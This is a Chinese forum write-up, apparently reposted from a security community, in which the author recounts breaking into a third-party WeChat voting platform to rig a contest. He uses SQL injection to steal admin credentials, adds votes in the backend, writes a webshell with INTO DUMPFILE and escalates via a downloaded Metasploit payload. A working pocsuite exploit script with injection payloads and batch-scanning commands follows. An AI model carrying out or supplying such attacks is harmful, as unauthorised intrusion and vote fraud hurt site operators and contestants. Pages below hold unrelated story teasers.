【野驴原创】刷票之风云再起——看我如何开启上帝视角

来源;http://bbs.ichunqiu.com/thread-10123-1-1.html?from=ch

0x01 前言

本来之前写了很多前言了,可是昨天早晨发生了一件事,我打算重新写前言,小伙伴们,小板凳准备好,我的前言是这样的:满屏都是王宝强,真诚提醒忘掉他们昨日的誓言。李晨说会一直保护张馨予,谢霆锋说不介意张柏芝的过去,文章说这辈子最骄傲的是马伊琍……人有时真的是很善变的动物,真正永恒不变的只有

你挖或不挖,漏洞就在那里

全心全意为你陪伴着你

很多盆友说不会再爱了,但我想说,女神还是得追的,万一她瞎呢。所以,书接上回,和女神聊天聊起来给基友孩子刷票的事,她一下就来劲了,说正好她也在参加一个投票活动,能不能帮她刷票啊,如果得第一,有特殊奖励哦,特殊奖励(做痴迷状)……

0x02 渗透测试

0x021 信息收集

投过手机浏览投票页面,发现是第三方程序,而非微信官方投票系统,那就能继续向前走,

并且都没微信端验证,在电脑上可以直接打开,隐隐觉得有戏。

手机抓包投票数据,根据上次刷票的经验,有可能下图中标识的两个id为验证项,也就是说,要想达到刷票目的,需要大量openid,后续事实证明如此,但我们今天刷票更精彩,各位客官,且听我慢慢道来。

将url除域名意外的部分删掉看看主页是个什么样子,当我看到登录界面时,我心中的猛虎已开始细嗅蔷薇。

0x022 SQL注入

平时我已经习惯了浏览网页时开着被动注入检测工具(点这里url),可这次却没用到,因为工具是有延时的,没有手工来得快。说来你们可能不信,看到第一张图我标示的那个搜索框了吗?当我输入一个单引号时,竟然报错了,这也许就是渗透经验吧。

果断用burp抓取搜索包,给sqlmap检测

[AppleScript]纯文本查看复制代码

?

1

Python sqlmap.py –r post.txt –dbs

经过漫长的等待,检测结果出来了,有两个参数存在注入,分别为id和token

经过漫长的分析(分析表结构,n多表,此处省略1万字,渗透是体力活啊),终于拿到了管理员的用户名和密码散列还有QQ。

花了1毛钱最终破解了密码,为了女神,值!

0x023进后台加票

用破解的用户名密码成功登陆后台,此时我内心的猛虎已开始咆哮。

那还等什么,看看怎么加票吧!点“选手设置”,看到了女神,排名还比较靠后。点“投票选项管理”,加减票选项出现了,是的,既可以加票也可以检票

有的同学可能会问了,那这投票岂不是管理员说了算?想让谁第一就让谁第一?没错,管理员具有“上帝模式”(为什么加引号?因为我才是真正的上帝!),不仅如此,还有更扯淡的,那就是主页上的浏览量、投票量和报名数都可以在后台设置。我好像知道的有点多了。

为了不让管理员发觉,我分数次将女神顶到了前边,但出现了新问题,这套系统的目的就是微信圈粉,如果关注公众号投票后又取消,那么所投票数是会被自动减掉的,并且后台会记录所有投票的记录数。

也就是说,如果不在后台加票,那么总记录数=总票数+减去的票数,但如果我在后台直接加票,会使得总记录数<总票数,管理员就有理由认为有人进后台加票了。那怎么办?

理了一下思路发现有两条路可走,

第一条路,利用刷票的方法满足以上等式条件,可刷票需要大量openid,哪里去弄那么多openid?再像上次那样XSS打?还不一定有XSS,即使有,时间成本太高,也刷不了几票,但是(重读),系统竟然很贴心的为我们准备好了所有投过票用户的openid,还支持导出excle,

但通过实践,可以成功刷票并且满足以上条件(具体过程限于篇幅不表,可参考上篇文章url),可是又有了新的问题,就是你把别人的openid用了,人家再投票回提示已投票,不能再投了,相当于我把所有选手的支持者都拉到了我女神的石榴裙下,那人家能乐意吗?万一有好事者联系管理员,那九前功尽弃了,动静太大了,正所谓“善攻者,飞于九天之上;善守者,遁于九地之下。”,此时我们就应该“遁于九地之下”,来看第二条路……

第二条路,就是取得webshell或者数据库权限,直接修改数据库中的记录数,使得后台加票后也满足以上等式。怎么?有些不耐心了?想直接加票就走人?不,我们要的是Perfect.

0x024 Get Webshell

我们来总结下,看看我们手里有多少料,你妹的,貌似我们除了一个后台,一个注入点,什么都没有。后台经过漫长的检测(累啊!头悬梁,锥刺股,大喊三声“女神”,接着干),并没有上传漏洞,并没有命令执行,并没有CSRF,并没有……总之后台没能getshell。此时我心中的猛虎酣睡了。现在只有注入点了,看看是什么权限吧,还算有点欣慰,是root。(这一天天,大起大落,小心脏都受不了)

那快用sqlmap写个webshell试试吧,写shell需要绝对路径,哪里找?刚开始的单引号报错就爆出了绝对路径,从后台照片处找到了照片上传路径,这样就构造出了有写权限的绝对路径。

竟然失败了。

说实话,当时我都快哭了,可是一想到女神,再一次目光坚定的望向了远方……那我看看能不能查出数据库用户名密码,然后幸运的话可以外联一下,事实证明,我特么想多了,又失败了。

既然工具不行,那就手工写shell把,还好,那我们直接经典的selectinto outfile导出webshell不就行了,用sqlmap的sql-shell试了下,总提示条件不满足。

还好注入点支持union联合查询,直接执行

[AppleScript]纯文本查看复制代码

?

1

Select,2,3,4intooutfile d:\\www\\uploads\\c.php

还是失败了(绝对路径用双斜杠是因为在执行时会将一个\转义为空)。好像是超过了长度,这个时候看到了这篇帖子点我,我可以把一句话拆分再hex啊

还是失败了,查了下原因。

mysql dumpfile与outfile函数的区别 SELECT into outfile :导出到一个txt文件,可以导出每行记录的,这个很适合导库 SELECT into dump:只能导出一行数据如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理总结: into outfile:导出内容 into dumpfile:导出二进制文件

把outfile换成dumpfile,终于成功getshell,真是黄天不负有心人啊。

后来提权后测试发现,intooutfile会把一句话导出为这样

看到没有,中间多了空格。

终于可以放心大胆的给女神加票了,最终在我的帮助之下,女神取得了第一,特殊奖励就是一个大大的拥抱,88块的红包和她崇拜的眼神,我是说真的J

0x025 编写poc批量验证

刷票任务完成了,但是我们学习的脚步不能停,我发现这套投票系统比较通用,通过pentest(url)的谷歌工具发现网上有大量部署,何不写个poc批量验证呢,我习惯了用pocsuit写poc,大家可以选择其他框架。这里我直接给出代码

[Python]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97#!/usr/bin/env python

# coding: utf-8

importre

importurlparse

importurllib

importurllib2

frompocsuite.netimportreq

frompocsuite.pocimportPOCBase, Output

frompocsuite.utilsimportregister

classTestPOC(POCBase):

vulID='62274'# ssvid

version='1'

author=['野驴']

vulDate='2016-08-05'

createDate='2016-08-05'

updateDate='2016-08-05'

references=['']

name='weilianyun_toupiao_sql_inj_PoC'

appPowerLink='http://www..cn'

appName=''

appVersion='2016'

vulType='SQL Injection'

desc='''

投票管理系统,sql注入,报错,联合查询,时间盲注

'''

samples=['http://www..cn/']

def_attack(self):

result={}

#漏洞页面

exploit='/***&token=Eioa5C5oj3S32qhH&id='

#利用的payload

payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))'

#构造访问地址

vulurl=self.url+exploit+payload

#提取信息的正则表达式

parttern='.*qpqpq(.*)qjbjq.*'

#自定义的HTTP头

httphead={

'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Connection':'keep-alive',

'Content-Type':'application/x-www-form-urlencoded'

}

#访问

resp=req.get(url=vulurl,headers=httphead,timeout=50)

#判断特征字符串

if'XPATH syntax error'inresp.content:

#提取信息

match=re.findall(parttern,resp.content,re.I|re.M)

ifmatch:

result['DbInfo']={}

#记录数据库用户名

result['DbInfo']['UserName']=match[0]

returnself.parse_attack(result)

def_verify(self):

#利用漏洞计算md5(3.1415)

result={}

#漏洞页面

exploit='/***&token=Eioa5C5oj3S32qhH&id='

#利用的payload

payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5(3.1415)))'

#payload='1 AND  extractvalue(1, concat(0x5c,md5(3.1415)))'

#md5(3.1415)的值

md5value='63e1f04640e83605c1d177544a5a0488'

#构造访问地址

vulurl=self.url+exploit+payload

#自定义的HTTP头

httphead={

'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Connection':'keep-alive',

'Content-Type':'application/x-www-form-urlencoded'

}

#访问

resp=req.get(url=vulurl,headers=httphead,timeout=50)

#判断特征字符串(由于extractvalue有长度限制,这里只比较前30位)

ifmd5value[:30]inresp.content:

#漏洞验证成功

result['VerifyInfo']={}

result['VerifyInfo']['URL']=self.url+exploit

result['VerifyInfo']['Payload']=payload

returnself.parse_attack(result)

defparse_attack(self, result):

output=Output(self)

ifresult:

output.success(result)

else:

output.fail('Internet nothing returned')

returnoutput

register(TestPOC)

这里我说下attack模式下,正则获取数据库用户的方法,通过测试发现投送payload(sqlmap –v 3获得)后,数据库用户是包含在两个特殊字符串中间的

所以我们的正则可以这么写

[AppleScript]纯文本查看复制代码

?

1

.*qpqpq(.*)qjbjq.*

来执行下

导入刚才pentest爬取的域名文件

[AppleScript]纯文本查看复制代码

?

1

2

3Pcs>config

Pcs.config>urlFileurl.txt

pcs>attack

0x026 提权

提权就比较简单了,先msfVENOM生成payload

webshell直接下载公网metasploit的payload,执行后,获得meterpreter交互

0x03 结束语

实在写不动了,但是我想说,渗透虽然是个体力加脑力活,但因为我喜欢,所以痛并快乐着。回顾下我们渗透的过程

信息收集->注入管理员信息->进后台->getwebshell->合法加票->poc批量验证->提权

明天又会有什么趣闻发生呢?管他呢,我退出娱乐圈很久了。

首发i春秋

野驴原创,值得拥有!

声明:以上文章仅作学习交流之用,如读者因阅读本文而做出不恰当举动,纯属个人行为,与本文作者无关。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,911评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,014评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 142,129评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,283评论 1 264
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,159评论 4 357
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,161评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,565评论 3 382
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,251评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,531评论 1 292
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,619评论 2 310
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,383评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,255评论 3 313
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,624评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,916评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,199评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,553评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,756评论 2 335

推荐阅读更多精彩内容

  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,015评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,497评论 18 139
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,786评论 0 9
  • 作者:Gilberto Najera-Gutierrez译者:飞龙协议:CC BY-NC-SA 4.0 简介 这章...
    三月行者阅读 1,841评论 2 7
  • 冷风中你走进一家拉面馆,迎面而来的大锅里的热气让你眼镜瞬间蒙上一层雾气,你摘下眼镜用衣服边随便擦了擦,准备大快朵颐...
    你知不知道我是谁阅读 235评论 0 0